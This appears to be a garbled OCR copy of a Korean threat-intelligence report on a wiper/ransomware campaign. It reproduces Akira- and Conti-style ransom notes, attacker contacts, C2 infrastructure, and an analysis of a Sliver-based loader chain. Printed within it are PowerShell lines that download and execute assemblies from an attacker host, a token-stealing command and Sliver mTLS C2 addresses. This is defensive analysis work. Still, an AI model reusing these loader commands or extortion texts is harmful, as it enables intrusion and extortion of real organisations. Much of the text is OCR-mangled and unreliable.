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Figure 3. #HE-E #1 (Ver. Korean)

Hello.
Your files have been encrypted.

Don't panic.
Think of this as a forced security audit.

To recover vour data,
——— |MPORTANT ——-

If we don't get a response, the data will be leaked and sold on the dark web.

software) can damage vour files.

- IMPORTANT ——-

indicate vour company name and contact our team directly via: alans.help@axelglue.store

Don't try to recover or move vour data. Any attempts at recovery (including the usage of the additional recovery

Figure 4. HELE #2 (Ver. English)




Hello.
Your files have been encrypted.
Sensitive customer, personal and financial documents have been downloaded.

Don't panic.
Think of this as a forced security audit.

To recover your data and prevent leakage, contact our team directly via! h.majestic947@passinbox.com
——— |MPORTANT ——

If we don't get a response, vour data including sensitive data, emails, and financial information will be leaked and
sold on the dark web.

Don't try to recover or move vour data. Any attempts at recovery (including the usage of the additional recovery
software) can damage vour files.

——— IMPORTANT ——

Figure 5. HEE #3 (Ver. English — Sensitive customer)

Hello.
Your files have been encrypted.

Don't panic.
Think of this as a forced security audit.

To recover your data, contact our team directly by installing https://simplex.chat/ and connecting by copying the
following full URL to vour browser:

ttps://simplex. chat/contact#/ ?v=2-7&smp=smp¥IAX2F%2Fhe jn2g¥ | ahUBx | tGMIOwQeuk BZELDKY.J XA | nSBIBWUASID
A0smp16 . s implex. im¥2FYMATIWBLR1Cubt | v2pwPB2boakiahab) ¥23%2F¥3Fv#301-4%26 dh%30MCowBAYDK2YuAvEACt0-B05bYwaFwF-
nzS0CRfAutdihGdOpkr | sNbpJFUX2530%26a¥30ck26srvE30p3k tngodz i Bar f TwBdmmdedsyuzrvaiyhbhxabacad 15p6oi Tvzzebad. onion

or email: wel.help@axelglue.store
It is recommended to do both!
——— IMPORTANT ———

If we don't get a response, data and news of wvour network breach will be made public. We will also notify vour
customers that their data has been stolen.

Don't try to recover or move your data. Any attempts at recovery (including the usage of the additional recovery
software) can damage vour files.

——— IMPORTANT ———
Figure 6. #H&E-E #4 (Ver. English — simplex.chat)
Hallo
Your files—have b o yoted
Sensitive) AL menber]and financial documents have been downloaded

[Jon‘t panic. )
Think of this as a forced security audit

fo recover your data and prevent ieskage. contact cur team directly via! h.majestic847@oassinbox. cos
-~ |IMPORTANT —

If we don't get a response, vour data including sen\;itiw:-. data. emails. and Tinancial information will

e lesked and sold on the dark wedb

Don't try to recover or move your dats. Any attemets at recovery (including the usage of the additional recovery
software) can damage your files

——— IMPORTANT —

Figure 7. &L E #5 (Ver. English — victim name)



T of veur files are currently encrypted and downloaded by|Akira (gooale us)]
It cannot be recovered by any means without contact ing our team directly

DON'T TRY TO FECOVER your dats by yourselves. Any attemet to recover your data (including the usage of the additions!
recovery software) can damage your files,

OON'T TRY TO IGNORE us. We've downlcaded your internal data and are ready to publish it on cur news website If you do
Inot respond, It will be batter for both sides if yvou contact us as soon as possible,

JOON'T TRY TO CONTACT any recavery comeanies. Ke have cur informants in these structures. so any of your complaints
Will be immediately directed to us.

If wou will hire any recovery conpany or send reauests to the pollce/investigators, we will consider this as a
hostile intent and initiate the publication of whole comoromised dats imeediately.

Mou can contact our team directly by downloading the tor browser (https://www torproject org/downlond’) and going to

http! //cn2 ) treeZbokAruxdxabzbhpxdck f doxpmergyrsgoreonkBusuodvacd. cnion
Private key: V23)SAZBVES2200CP0K. BUBDATNALL EMMNYJ JANGZF JCKMTEVNFA

YOU SHOLLD BE AMARE!
Me will speak only with an author ized person. It can be the CED, top management, &tc. In case you are not such a
person — DON'T CONTACT US| Your decisions and action can result in serlous harm to vour comeany!

Inform your supervisors and stay calml

You have 7 days to respond.

Figure 8. & E #6 (Ver.English — Akira)

| AY-EOM 2lE H2KQl O|H|Zat onion F4= LHE3 2Tt

F 2

h.majestic947@passinbox.com dongileng.another679@passinbox.com
alans.help@axelglue.store taib.help@axelglue.store
samc.help@axelglue.store ucsi.help@axelglue.store
rhs.help@axelglue.store wpl.help@axelglue.store

on2jtree2bck4rux3xg5zbhpx4okfdpxpmergyrsgoronkéuuuo4vaqd.onion
Table 5. H2tA

10



3) TTPs

Resource
Development

Execution

Privilege
Escalation

Defense
Evasion

Credential
Access

71584.001

T1587.001

1715688.001

T1588.002

T1608.001

T1608.002

T1059.001

T1059.003

T1134.001

T1134.002

T1140

11622

T1003.001

Compromise Infrastructure
- Domain

Develop Capabilities -
Malware

Obtain Capabilities -
Malware

Obtain Capabilities - Tool
Stage Capabilities -
Malware

Stage Capabilities - Tool

Command and Scripting
Interpreter - PowerShell

Command and Scripting
Interpreter - Windows
Command Shell

Access Token
Manipulation - Token
Impersonation/Theft
Access Token
Manipulation - Create
Process with Token

Deobfuscate/Decode Files
or Information

Debugger Evasion

OS Credential Dumping -

LSASS Memory
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Azl Wiper Ol HAE HELE & HHW 2&0|A “All of your files are currently encrypted

and downloaded by Akira (google us).” Akira 0f] 2|sf 2tsat 9l CHREE HCtl AESHD Qo)

All of vour files are currently encrypted and downloaded b(google us) .
It cannot be recovered by any means without contacting our team directly.

DON'T TRY TO RECOVER wour data by wourselves. Any attempt to recover wvour data (including the usage of the additional
recovery software) can damage vour files.

DON'T TRY TO IGNORE us. We've downloaded vour internal data and are ready to publish it on our news website if vou do
not respond, it will be better for both sides if vou contact us as soon as possible.

DON'T TRY TO CONTACT any recovery companies. We have our informants in these structures, so any of vour complaints
will be immediately directed to us.

If vou will hire any recovery company or send reauests to the police/investigators, we will consider this as a
hostile intent and initiate the publication of whole compromised data immediately.

‘You can contact our team directly by downloading the tor browser (https://www.torproject.ora/download/) and going to

http://on2jtreebckdruxIxabzbhpxdokfdoxpmerayrsgoronkBuuuodvaad. onion
Private key: Y23JS4ZBYBS22DACPOWIBUBDIIXALLEWANY)IANSZFJCKMTEVNFA

YOU SHOULD BE AWARE!
We will speak only with an authorized person. |t can be the CEQ, top management, etc. In case vou are not such a
person — DON'T CONTACT US! Your decisions and action can result in serious harm to vour company!

Inform your supervisors and stay calm!

You have 7 days to respond.

Figure 10. ArgonWiper HHELE & 28

ISt "google us” 2= It THAIE I8l Conti, BlackBasta 2E0i|A “just Google it.”, “You can
Google us later"@t 20| AFEEl H, Conti IE0A AFEIH HHEL-EQL SASE Z&5S 20le
ACL Conti 250| sHM|E O|= BlackBasta, Akira 2512 X|&AHE OIRME f L8 HBtEl

HHO| A= Aez EoTICL
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A1l of your files are currently encrypted by CONTI strain, If you don't know who we are — just "Gocgle it."

As you already know, all of your data has been encrypted by our software,
|t cannot be recoverad by any means without coatacting cur team directly.

DON'T TRY TO RECOVER your data by yourselves, My sttenet to recover your data (including the usage of the additions|
recovery software) can damage your files
if vou want to try - we recommend choosing the data of the lowest value.

DON'T TRY TO IGNCRE us. We've downloaded & pack of your internal data and are ready to publish it on cur news website
if you do not respond,
150 it will be better for both sides |f you centact us as soon as possible,

DON'T TRY TO CONTACT feds or any recovery conpanies

Me have cur informants in these structures. so any of vour conelaints will be immediztely directed to us

So if wou will hire any recovery conpany for negotiations or send reguests to the police/FBI/ investigators, we will
ccosider this as a hastile intent and initiate the publication of whole comeromised data immediately,

To prove that we FEALLY CAN get vour dats back = we offer vou to decrvpt two random files completely free of charge.
You can contact cur team directly for further instructions through cur website !

TR VERSION :
(vou should download and install TOR browser first https://torproject[.Jorg)

htte: //contirecTnchr&SrxBymeezsr i |dibnaziT 15a56 | vivaeywhvoi3wad, onion/ [snip]

YO SHOLLD BE AWARE!|

e will speak only with an authorized person. |t can be the CEQ, top management. etc,

In casc-lycu gre not such & persan — DON'T CONTACT US! Your decisions and action can result in serious harm to vour
comeany !

Inform vour supervisors and stay calm!

Figure 11. Conti 8- E

L2l employees.medicalcenterclinic.com

IP: 18417818168

30
H
i
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2024-10-28 1/96 403 http://72.5.42.46/

2024-10-28 1/96 - https://72.5.42.46/

2025-03-10 0 /96 - http://ba.joe.dj/bea.jpg

2025-03-27 0/97 - http://ba.joe.dj/bak.jpg

2025-02-28 0 /96 404 http://ba.joe.dj/bak.jpgNtQuerySysteminformation

2025-02-28 0 /96 404 http://ba. joe.dj/bak. jpgNtQuerySysteminformationunexpected

2025-02-23 0/96 404 http://ba.joe.dj/beac.jpg
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Sliver mTLS & AMH
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AMITLIL FEE MH(18417818168)2 &2 |2 AHIALIF REE AMH TOQIS 2Hold
= ACH

= I !E.H'Z*-'."..-.
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| s
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Figure 13. mTLS &1Z Mt
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@ Resolutions
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=;107.189‘26.54
=

S 107.189.22.8
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==
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Figure 14. ba.joe.dj &3 HE

17




@’ about.tafca.co.uk

p . hanwha.tafca.co.uk
@ amknghihak.tafca.co.uk

@‘ aslex.tafca.co.uk

@ Resolutions

. .
O assistanceteam.tafca.co.uk

(7)) blogeatalyst tafca.co.uk g 144.172.103.233
@;bt-refund-uk.tafca.co.uk H 107.189.18.50
(T cetafea.co.uk (@ siblings ) 107.189.26.54
@’ chrome.tafca.co.uk 5 144.172.95.65
(% clubs tafea.co.uk 107.189.19.18
O‘ domainexpansionschool.tafca.co.uk rﬂ72.5.42.46

®. dontsharethisoryouwilltouchgrass.tafca.co.uk
@’ fa9sadyalkl.tafca.co.uk

®. firstone.tafca.co.uk

. greenflupnibble.tafca.co.uk

@' gu.tafca.co.uk

@' hitiiaa.tafca.co.uk

@‘ iamagreatperson.tafca.co.uk

@‘ ireadylearning.tafca.co.uk
@’juniorhighmaths.tafca.co.uk

@‘ ka20.tafca.co.uk

Figure 15. hanwha.tafca.co.uk #& HE
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() 324bq024234bp.bgsys.co.kr
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@ @' hanwha.bgsys.co.kr
.
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®. cn.bgsys.co.kr
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O‘ register-news.bgsys.co.kr

@’ smtp.bgsys.co.kr

Figure 16. hanwha.bgsys.co.kr #H M=
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C). anis-live.sv-italia.it

Figure 17. ba.sv-italia.it 2 M=
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- Toel oy

Sliver O|lM HZE AlTdt= hanwha.bgsys.cokr AHO| 1441729565 P Off OHEEE=
65.95172 144 static.cloudzy.com THQIS 2folst 4= QICt

144 .172.95.65®
Bl AS 14956 (-Reserved AS-)

Summary OSINT (0) m Subdomains DNS Records (0) o5 ) . (“) CT Stream

J Show Summary
X = Select Columns TABLEVEW { ) TIMELINE VIEW 1-5 of

e

O Y Y ‘Y FirstSeen V' lastSeen Ve Coumt'V

(m) 144.172.95 .65 95,172,144 _static. cloudzy.co 2025-01-16 2025-07-24
Bl AS 14956 m

144,172.95.65
Bl AS 14956

144,172.95.65 ba.sv-italia. it
BR AS 14956

144.172.95.65
Bl AS 14956
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1-50f 5

Figure 18. =H|Q! OHE
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65.95172144.static.cloudzy.com =OQI VPS(Virtual Private Server) 2t RDP(Remote
Desktop Protocol) AMH|AE SAEISHE Z10| QIS SE5H It Cloudzy = 0|2, £=2, S8,
2{A|OF, O|AEIA S =27t BiF 874 ZZE|, Ryuk, BlackCat M0 IEEE A28 ARIF Ot
B0% X ICt (Halcyon Cloudzy C2P Report)

'144.172.95.65

@ General Information

0 Regular View |

(3]
¢
®

Hostnames 6595172144 static cloudzy.com

Domains cloudzy.com = 1

At athon

E] B oo sman Wirssows Servm 2013 &

Figure 19. VPS, RDP AH|A
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bgsys.co.kr 0@l =27} HiE ZE0|AM AtEet elzZatet AFHEICE

Q bgsys.co.kr

bgsys.co.kr

OSINT (4) Resolutions (12) Subdomains (36) DNS Records (5)

DNS Records
SOA_NNAME (1) SOA_RNANE (1) IXr (2)

Jump to . s kr

= 2 A\ Reputation Factors
== Domain Summary
: . , Kinsuky (Malware) 9 L1 (21 121 141
Title: "WHA/AH S28211: XEHAIAH" Observed oo: Maltrail (2
Description: A|A Aliases; 8Black 8anshoe, Velvet Chollima, Emerald Sloet, THALLIUM, APTA3, TA427

Port 80

Server: nginx/1.14.2 © Informational

Foroed spgrade to NTTPS

Viem latest result Observed on OSINT Sources (4)

Port 443

Server: nginx/1.14.2
Technology: WordPress 6.1.8
Technology: Powered by MangBoard

View latest 1t

Figure 20. bgsys.co.kr S Qlxe}
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144172.95.65 IP 2f S CHE2| 144172.9578 IP = Nova A0 TZ20|A AR O|Z0]
2ol =0t

—

12 Q 144.172.95.78
A Reputstion Factors

144.172.95.78 B L EE

Scheme: ht
&8 AS 14956 (-Reserved AS-) = i

o

© Informational

Observed on Block Lists ()

Reputation & Risk 0 Positive
Observed on OSINT Sources (2)
DNS Records

Jump to sed ‘” . 9% 64728 E!USGQC

Owner -F rved AS
ASN: AS 144956

== IP Summary Country: US
CIDRS: 144,172

Port 80
Owner @ PONYNET S8

Pact 483 ASN. AS
Country: US
CIDRS: 144.172.94,0/23
Approzimate Location “eurce 2

@ Ogden, Utah, S

Figure 21. Nova Ransomware |IP
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Stage O. Loader

- ljpg
o O ASRIEZ CHIE ofd HIO|H2|E CIREL 8 E2Cdts g9a8 Ao}

+ MD5: E260F41019DA2FA8489B967D65B994B8

md A3RE AT HFeEX] 2 dEiE urlE St IS LR2E f Adsts Z=0(0h

Ol A7HE Stage 2, 3,4 2 2[BHOE Wiper 7t HEEICE

#[System.Ref lection.Assembly]: :Load{(New-Object Swvstem.Net.WebClient) .DownloadData
("https://emplovees .medicalcenterclinic.com/_WCM_images/msc.jpg"))
#ls.ml:is("xu. http://ba. joe.di/beac. ipg *p. 4DmONRHHE ")

#[System.Ref lection.Assembly]: : Load{{New-Object Svstem.MNet.WebClient) .DownloadData
("https: //emplovees .medicalcenterclinic.com/_WCM_images/toke. jpga"))

#ltoke.Program]: :Main("Steal_Token /Process: 16808 /command: cmd.exe™)

[System.Ref lection.Assembly]: :Load{{(New-Object System.Net.WebClient) .DownloadData
E”h%tpsl//%mpioyees.medicalcenterclinic.com/_WCM_images/si.Jpg"))
si]iiMain(""

Figure 22. A3ZIE H& A=
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Stage 2. Downloader & Sliver
- Msc.jpg

. NETOZ xtMEl ot¥ace 3 Hlo|2|S [HeRC & Asls ez

- MD5: 7A3880F8DA8374DEDOEFO13CFFC5F184

o 0g
= wn 7a3880f8da8374ded9ef913cffc5184.vir
OF EF File size NE =2 g AE
PE32 v 224,50 KiB 10000000 1003e00a (=2
O o= EHHZe ™ ECOANY | Em#A =AE AJLIA | >]VirusTotal
& MIME F=] Visualization | | O 2144 FHA | [ SNERD | Y Extractor || {F YARA
O re LHEWZ | &R | |[L 2la2 || e# NET | |7iXTLS || E2H30
dM .NETID o[orE 221 = [enseas
0005 (=2 92fb9013 00042000 l\;J Manifest OHH
2 HIC| = O 1E A ]
ASH 9l v LE 32HIE 1386 DLL
v PE32
Operation system: Windows (95) [I386, 32H| E, DLL] S ?
Linker: Microsoft Linker S ?
Language: MSIL/C# S ?
Library: .NET Framework (v4.0, CLR v4.0.30319) S ?
(Heur) Protection: Obfuscation [CLR constructor + Strange sections + Modified build info] S ?
(Heur) Packer: Generic [Section #0 ("NX=d:"+") compressed] S ?

Figure 23. ME X
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ot

Confuser =3t offH| & cctor 242 Qo exe & S8l 2= T ZHZE TUSH==E 1A

PS|
o

fjo

Bttt

—

i

\1.d11";
embTly. LoadFile(path);
ass.GetModules () [0];

eHelpers. RunModuleConstructor (mod.ModuleHandle);

e.writeLine("done");
e.ReadLine();

Figure 24.dll 2

cctor E20ll= VirtualProtect ZEQ} EXN THLE AldHs SEH0| LR EXLES 28H= AT}

ZRIE|O] 9UD, CIE A%, 25 S| REE HOIE|X| Yert

:[] arra

<Module>,byte_0 = <Module=.smethod_32(array?);

num2 = {num3 * 55777768U) °

10
.BlockCopy{new byte
num (num2 + 2 u)

3u:

ear =

num = (num2 * 146015
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Offset(h) 00 01 02 03 04 05 O6 07 08 09 OA OB OC OD OE OF Decoded text
00000000 04 00 00 OO0 2E 64 6C &6C 09 00 00 00 BE 74 64 &C

00000010 6C Z2E 64 6C 6C 00 00 00 17 00 00 00 5A 77 41 &C

00000020 6C ©6F €3 €61 74 65 56 69 72 74 75 61 6C 4D 65 €D 1locateVirtualMem
00000030 6F 72 79 00 14 00 00 00 5A 77 57 72 69 74 65 56 OXy..... ZwWriteV
00000040 69 72 74 75 61 6C 4D 65 6D 6F 72 79 14 00 00 00 irtualMemory....
00000050 52 74 6C 49 6E 69 74 55 6E 69 63 6F 64 65 53 74 RtlInitUnicodeSt
00000060 72 €9 6E €7 OA 00 00 00 4C 64 72 4C 6F 61 64 44 ring....LdrLoadD
00000070 6C eC 00 OO OD 00 00 00 52 74 6C 52 65 72 6F 4D 1l1l...... RtlZeroM
00000080 65 €D 6F 72 79 00 00 00 1D 00 00 00 49 6E 76 €1 €mMOXV....... Inva
00000090 6C €9 64 20 50 72 6F €63 65 73 73 49 6E 66 6F 43 1lid ProcessInfoC
000000A0 6C €1 73 73 3A 20 7B 30 7D 00 00 00 19 00 00 00 1lass: {0}.......
000000BO 4E 74 51 75 €5 72 79 49 6E 66 6F 72 6D 61 74 69 NtQueryInformati
000000C0O ©6F 6E 50 72 6F €3 65 73 73 00 00 00 17 00 00 00 onProcess.......
000000D0O 4E 74 41 6C 6C 6F 63 61 74 €5 56 €9 72 74 75 61 NtAllocateVirtua
0O00000EO 6C 4D 65 6D 6F 72 79 00 14 00 00 00 4E 74 57 72 1Memory..... NtWx
0O00000F0 €9 74 65 56 69 72 74 75 61 6C 4D €5 6D 6F 72 79 iteVirtualMemory
00000100 16 00 00 0O 4E 74 50 72 6F 74 65 €3 74 56 €9 72 ....NtProtectVir

rin

Figure 27. =&

= old
EAE €R

?7?7.dll

??7?7msiexec.exe????robocopy.exe

??7?taskmgr.exe?-???C:\Program Files\Windows Defender\MsMpEng.exe???
???User-Agent??g???Mozilla/5.0 (Windows NTP 10.0; Win64; x64} AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.0.0 Safari/537180???2?22*u?????*p?????sihost??  ???taskhostw???
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O|#Holl= dil Hio[H2|2] extern E+E EA41517| 23 2 ZEE 7 =8 ¢ &2 ¢
HE m2t|E: “*u.http://ba.joe].]dj/beac.jpg *p.4DmQNRhH8"

i[]1 args)

Adssemb |y

Module[] modules
Type type = modu
MethodInfo nwthmj / i
t[] ¢ t { “+u.http: //ba.joe.dj/bea pg +p.40mONRhHE"
method. Imwu w(method atrayL

Figure 28. extern & 2 ZE

ofid extern E== WebClient 2=5 It ACMH, 2XE MEH0EE Y= =Lt WebClient

o
[47h TEE|0] QUof BT URL S Yl 242 Ttk

ot

@struct = ney {7751521U);
WebClient webClient:

Dictionary<string, string> dictionary.

Figure 29. S.M extern S &

4
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a4 LHE sl AEZ WebClient, Download 7|52 Zgfstn QUCt

dictionary = Delegatel 16.delegate

vi<Module> smethod_33
0 el |8 dede

sctanethod 0

Figure 30. S &= did RE

4U:
num = (Delegated!, E () : 5531 : 2155 ) (num2 * 1

{com,

Figure 31. T2t0|& dictionary 2t
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oM Z2MHA RES =2t g4 2|AESE 2200
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ruct

>t . metho
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num = Deleg
intPtr.
num

numie:
numi?;

19U

et ruct methnd NfR  14R773

Figure 33. &+ ZAIE 2&

Figure 34. User-Agent 2X+&
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U 22 melo|Eet MASH User-Agent & Sl CIREEE A|ToHH, HAXMOZ CIR2E7) £|H
i

(o)
- —
M El HIO|E HIO|HZ2|E S3l Invoke or 2 3! Mgt 0= HOICE

WENOTYOLCeAR = U6 1&5ate117, UMD YUODEENUDDRONUDTF L D=| einte 105, OF & YUODUTNUODEIL pabl 1 1wt O1CE [008F V] HUOUI &> . shat o J0%
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Figure 35. WebClient St

CHREE A% ba.joe.d]

ewninmlbiect . wsyne

Figure 36. CHREE Al
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() 420.joe.d|
o . . .
O 54pgj.joe.dj
() 62:3748-231-53 joe.d]

O' 62-3988-232-52.joe.dj

O‘ 6a.joe.dj

4 - .
() 92is.joe.dj @) siblings

,Galolekstra.joe.dj

O’ ab.joe.dj

(7Y aidat.joe.d]

O‘ aidatedevlet.joe.dj
O. aks.joe.dj

O’ amazonaws02.joe.dj]
O. amazonaws0d40.joe.dj
O. amirhidiec2.joe.dj

O’ antyhkh.joe.dj

O. anzen.joe.dj

O. ba.joe.dj

O’ arsenalwarfareforwarhistory.joe.dj

() arvindayliblogfkfjhhglifhhgldadfgjjjt joe.dj

O’ asoei.joe.dj

O. bananos.joe.d]

=

o 107.189.18.50
-=.:107.189.26.54
=

M 107.189.22.8
B 144.172.95.65
L

M 107.189.19.18
=168.100.9.77
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Figure 37. DNS &2t IP
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Sof =S 37t 2AH
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URL: https://employees.medicalcenterclinic[.Jcom/_WCM_images/beac.jpg

HO|{2|E CIREE= 22 MemoryStream £ HIOIE BIEE wHESt=H| ok oHHE AZlstn
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Figure 38. HIO|42| CH22E 8l Sxs} 2%
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- beacjpg

« AESZ %%}El HIO|LH2|0|H, Donut ShellcodeE Edl Slivers S=3tCt.

+ MD5: 86ET110ED8F52B6FE/56665F5EFB10D12

Ot

2ME f 2H AHd 7 EME TLSIEH Class1e6 HdAE Sl (&0 €5 2

H
‘ADMQNRhH8" ZXIES SHA256 SHA|Z Hets Aot

) string_0)

this.byte_0 = Delegatel07.#u000403.#u0019({Delegatedt. rifu009E4 B HuD0DAS( ), Delegatell6. "’

Figure 39. Xt SHA256 SHA| Het
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0| method 1 &4+E = =ot1, T2t0[E] 2 CIREE$H HIO|LE|(beac.jpg) HIES Tl
2EME TSIt S0 AEE Yzt Ye|E2 AES £ beac.jpg THL| & 16 HIO|EE 7|,
SHA256 HetEl SHAIZ |V 2 AR 25312 Fsirt

= byte_1
2 aesCryptoServiceProvider
2 array

) array2

) cryptoTransform

) array3

J

num

De
num

e 5U:

De
num

Delegatel12. (#u0007UHLO01 46(

Provider,

tel11.B#uOOF

Figure 40. S=%tE HIE array3
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e IR

Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text
00000000 E8 3C 1D 52 00 2C 1D 52 00 10 C4 €4 OA 3D 84 C3 &E.R.E.R..Ad.=,3
00000010 F6é 53 3B 25 D8 41 FO 31 SE 90 EQO ES OD CC 51 21 &S;¥@As1".a&.1IQ!
00000020 6E 22 64 01 C4 C2 50 85 01 00 00 00 00 04 E4 20 n d.AEP.......&
00000030 99 6& F9 1& 10 9F DO 7F 29 02 7A 7& 59 33 31 46 ™3u..¥D.).zzY31F
00000040 04 €5 F9 90 19 29 3C 96 12 Z1 68 84 13 0C 48 BD .eu..%<—.;h,..Hs
00000050 FO DF DF 7B BS 4E 4F 3F 32 22 B8 44 E3 ED 94 1E &RA{uN0?2, ,Dai”.
00000060 6C OE B3 SF 23 56 54 82 8B 96 F8 37 7C 24 94 DO 1.3.#VT,<-27]."®
00000070 81 27 A4 F1 88 €2 EF DD 72 DC DC 24 1C 77 DD 6C .'mA“bi¥rU0S.w¥l
00000080 48 B2 B6 E9 4F 78 2C BC 34 9E F5 19 37 F2 45 1F H=9é0x,%4%5.70E.
00000090 47 26 C9 33 Bl 12 78 DF F4 13 82 F2 70 FB B8 E2 GtE3%.xB85.,0pa.4
000000R0 70 FE C8 26 E9 01 39 42 C8 C2 98 77 62 AE ED 30 pbEté.9BEA"wb®i0
000000BO 47 29 92 38 01 1F F4 CO 55 07 OF 23 6D 3C C5 18 G)’;..5AU..#m<A.
000000C0O DC 22 Cl 9C 8F 24 CF EC 56 €D BA 6D R6 27 DB 9D UmAe.*Iivmem!:U.
000000D0 E9 1B EF D9 88 €D 7B 76 36 99 14 1B 47 34 C3 60 &.iU m{vée™..G:i"
000000EQ 46 C8 83 FE FC BA B4 73 E6 C5 50 7D 2C 78 BS5 BE FEfbii®’ s=AP},xp»
000000F0 OF E3 14 C2 B9 L2 8F 98 48 L9 D7 39 20 52 B6é Co Ya.A%¢.>H®x9 RIE
00000100 B7 EF 71 E1 1A S& 4D 87 24 EF 40 BE CA B2 6B 28 -iga.ZM#Si@E<k(
00000110 E9 ED B4 47 66 36 F4 73 13 53 C5 SE 15 SF Bl 92 éi°Gf¥6s.SA". %'
00000120 7D 9D 6E E2 F4 CB 7C 40 BRD 23 94 73 3E 40 9F 02 }.nddE|@.f”s>@Y.
00000130 35 D7 94 22 13 84 19 E3 99 53 29 30 91 26 FF 46 5x”" 5, 3™S5)0 &yF
00000140 8C €0 EB D4 88 57 C9 FE2 C9 75 OR 11 7E Bl DO FE @ &0"WEGEu..~iDp
00000150 80 4D C4 2F 75 2B 1F 20 61 96 CO DD 83 32 DD DF €MA/u+. a-A¥F2YR
00000160 40 25 OA 9C CC D9 OC 20 6A 45 79 F3 AE 32 A0 8F @%.cciU. FJEvO®S
00000170 23 C1 46 2F 09 31 Bl 32 34 26 A2 1B 47 F3 D9 93 $AF/.1+84&¢.GoU"
00000180 84 9C 85 03 AF SD A0 2F AF BE 91 D1 63 BZ 78 DB ,e.. ] / %'NcexU
00000190 0OC FE 17 OF F1 17 BB BE F2 €4 AC 18 63 14 33 7E  .p..R.»%dd-.c.3~
00000120 38 7E E5 8C BF 25 86 99 D2 EF 59 21 1B 7B DC 46 8~3E:..t™0iY;.{UF

Figure 41. 252}E HO|LH2

25otE diojHe| XHE EASIE®E donut chaskey =%t 20| ESE[ U donut

shellcode & ArEdt= A2 2QIEICY.

void _ fastcall donut_chaskey shellcode_decryption(
_DWORD al,
_DWORD a2,
_OWORD *a3,
__int64 a4,
_BYTE *a5,
unsigned int a6)

Figure 42. donut chaskey shellcode =53} &4

donut shellcode & Szt 2 CHE1F 20| Golang 2= 2HdEl

MK
ot

HQI0| ZHS ST
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ot 018
= = = = mm mod_beac_array3.bin
IH EFY File size NE Z2 g AE
PE64 v 14.91 MiB 0000000000400000 000000000045d0a0 =2
i JETRs-] HHZ2 ® ECOAHY | |m#A =AE AMJUA | >]VirusTotal
& MIME P Visualization aM A | JEHNERM | |V Extractor || {F VARA
O re LHELH2 | | d2FEH L2 e Bl A A ¢t NET | |{i:TLS | |[E 220
MM AZHET AT O1o1& 221 E[EEE
0006 (=2 1970-01-01 09:00:00 00f5b000 L\_l;j Manifest HH
2 AL Gl ORI A 8
Nauz File Detector (NFD) v LE 64HIE AMD64 GUI
v PE64
= AMAE: Windows(7)[AMD64, 64H| E, GUI]
TIFEE: Go(1.X)
20: Go

Figure 43. E5%}=l HO|L42]|
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MES Red team AE HAE =791 BishopFox_Sliver 2 ZQI=ICt Sliver

=
S #AStAHLL Lateral movement & Sl 7t AIIEE 2Eot=0| AFEECH

https://github.com/BishopFox/Sliver

<

qgithub_com_bishopfox_sliver_implant_sliver_encoders_b---
j—github_com_bishopfox_sliver_implant_sliver_encoders---

qgithub_com_bishopfox_sliver_protobuf_commonpb _file_---

j—github_corm_bishopfox_sliver_protobuf_commonpb _file---
qgithub_com_bishopfox_sliver_implant_sliver_transports_---
qgithub_com_bishopfox_sliver_implant_sliver_transports_---
qgithub_com_bishopfox_sliver_implant_sliver_transports_---
github_com_bishopfox_sliver_implant_sliver_transports_---
qgithub_com_bishopfox_sliver_implant_sliver_transports_---

github_com_bishopfox_sliver_implant_sliver_extension_---
qgithub_com_bishopfox_sliver_implant_sliver_syscalls__---
github_com_bishopfox_sliver_implant_sliver_syscalls__---

github_com_bishopfox_sliver_implant_sliver_ps_getProc--
github_com_bishopfox_sliver_implant_sliver_ps_process:-

j—github_com_bishopfox_sliver_implant_sliver_ps_proce---

github_com_bishopfox_sliver_implant_sliver_ps_getSess---
github_com_bishopfox_sliver_implant_sliver_taskrunner_---
github_com_bishopfox_sliver_implant_sliver_taskrunner_---
github_com_bishopfox_sliver_implant_sliver_taskrunner_---
github_com_bishopfox_sliver_implant_sliver_taskrunner_---

github_com_bishopfox_sliver_implant_sliver_priv_getPri---

github_com_bishopfox_sliver_implant_sliver_priv_enable---
qgithub_com_bishopfox_sliver_implant_sliver_pivots_nam---

github_com_bishopfox_sliver_implant_sliver_pivots_gen---

j—github_com_bishopfox_sliver_implant_sliver_pivots_ge---
qgithub_com_bishopfox_sliver_implant_sliver_pivots__ptr_---
qgithub_com_bishopfox_sliver_implant_sliver_pivots__ptr_---
github_com_bishopfox_sliver_implant_sliver_pivots__ptr_---
github_com_bishopfox_sliver_implant_sliver_pivots__ptr_---
qgithub_com_bishopfox_sliver_implant_sliver_netstat_raw---

qgithub_com_bishopfox_sliver_implant_sliver_netstat_get---
qgithub_com_bishopfox_sliver_implant_sliver_netstat_get---
aithith r~nrm hishnnfnx sliver imnlant sliver netstat tnS---

® | bishopfox_slived

Figure 44. BishopFox Sliver &t

{

void _ fastcall main_main()

__inte4 ve@; // rdi
__int64 v1; // rsi

int64 v2; // rla

Ly 4

_UNKNOWN *retaddr; // [rsp+8h] [rbp+@h] BYREF

r

if ( &retaddr <= *(v2 + 16) )

sub_4597C0();
zUtjWU__ptr_TH41lulS_SetFlags();
zUtjWU__ ptr_TH41luJS_SetOutput();
m_IsDebuggerPresent_getModuleFileName(va, v1);
main_beaconStartup();

Figure 45. main g+ [E
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=
QIEICt oie WE2 mTLS &

mtls://hanwha.tafca.co.uk:443 mtls://ba.joe.dj:443

mtls://hanwha.bgsys.co.kr:443 mtls://ba.sv-italia.it:443

et HZ0| JtsstH CHEat #0| Zx SME 28 Protobuf(Protocol Buffers)& MAstn
=

nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()

register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL

beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{

ID: InstancelD,
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,

NextCheckin: inté4(beacon.Duration().Seconds()),

1)

Figure 46. At %]
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Protobuf 128 F=diEH Lot 23, siEdt= S22 0l= 1= of|M =Hel JHssitt
00000000: |[BA|24 66 61 30 33 33 30 30 66 2D 65 37 64 38 2D [bf803300f-e7d8-
00000010: 34 65 62 39 2D 61 31 61 30 2D 64 63 37 30 35 65 4eb9-ala0-dc705e
00000020: 36 34 39 38 36 39 10 80 BO 9D C2 DF 01 18 80 D8 649869..........
00000030: B8E E1 6F 22 FB 02 DA 04 6D 74 6C 73 12 OF 44 45 . .o"....mtls..DE
